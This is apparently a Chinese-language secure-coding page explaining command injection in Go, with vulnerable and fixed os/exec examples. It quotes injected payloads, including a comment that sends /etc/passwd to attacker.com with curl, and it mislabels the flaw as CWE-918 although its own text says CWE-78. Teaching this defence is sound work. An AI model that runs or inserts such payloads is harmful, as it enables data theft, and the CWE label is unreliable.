flawopen.com/command-injection/Go

● CWE-918 · 严重
安全研究 · FlawOpen

漏洞深度剖析:Command Injection in Go

Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.

💡 通俗易懂的原理解析 (ELI5)

想象一下,你让办公室助理打印一份名为 'report.pdf' 的文件。当有人恶意提供文件名 'report.pdf; whoami' 时,助理不加检查地将整张便签递给终端窗口,导致系统不仅打印文件,还读取了管理员工作证。

核心概念与专有名词

Web Application Security
技术概念 (Web Application Security):Core architecture component affected by CWE-918.
CWE-918
技术概念 (CWE-918):Standard Common Weakness Enumeration classification for command-injection-go.
Defense-in-Depth
技术概念 (Defense-in-Depth):Multi-layered engineering verification and runtime boundary isolation.

攻击执行流程分解

Step 1

接收不可信输入参数

应用程序直接通过 HTTP 请求或表单接收用户提供的诊断主机名、文件名或工具参数。

Step 2

不安全的 Shell 字符串拼接

后端通过原始字符串拼接构建系统命令字符串,而未采用参数化参数列表(Argument Vector)。

Step 3

命令分隔符注入

攻击者输入包含 Shell 元字符(如 ';', '&&', '|', 反引号)的载荷(如 '127.0.0.1; id'),逃逸预期命令范围。

Step 4

子 Shell 执行与主机提权

底层操作系统 Shell 以 Web 进程权限执行注入的后续命令,造成远程命令执行与系统接管。

源代码对比:漏洞与安全实现

✕ 存在漏洞的实现
// Spawning bash explicitly to execute concatenated string
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
    cmdStr := "tar -czf backup.tar.gz " + target
    cmd := exec.Command("sh", "-c", cmdStr)
    return cmd.Output()
}
✓ 加固后的安全修复
// Calling tar directly without an intermediate shell
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // target is passed strictly as a single filename argument
    cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
    return cmd.Output()
}

工程与系统安全加固清单

References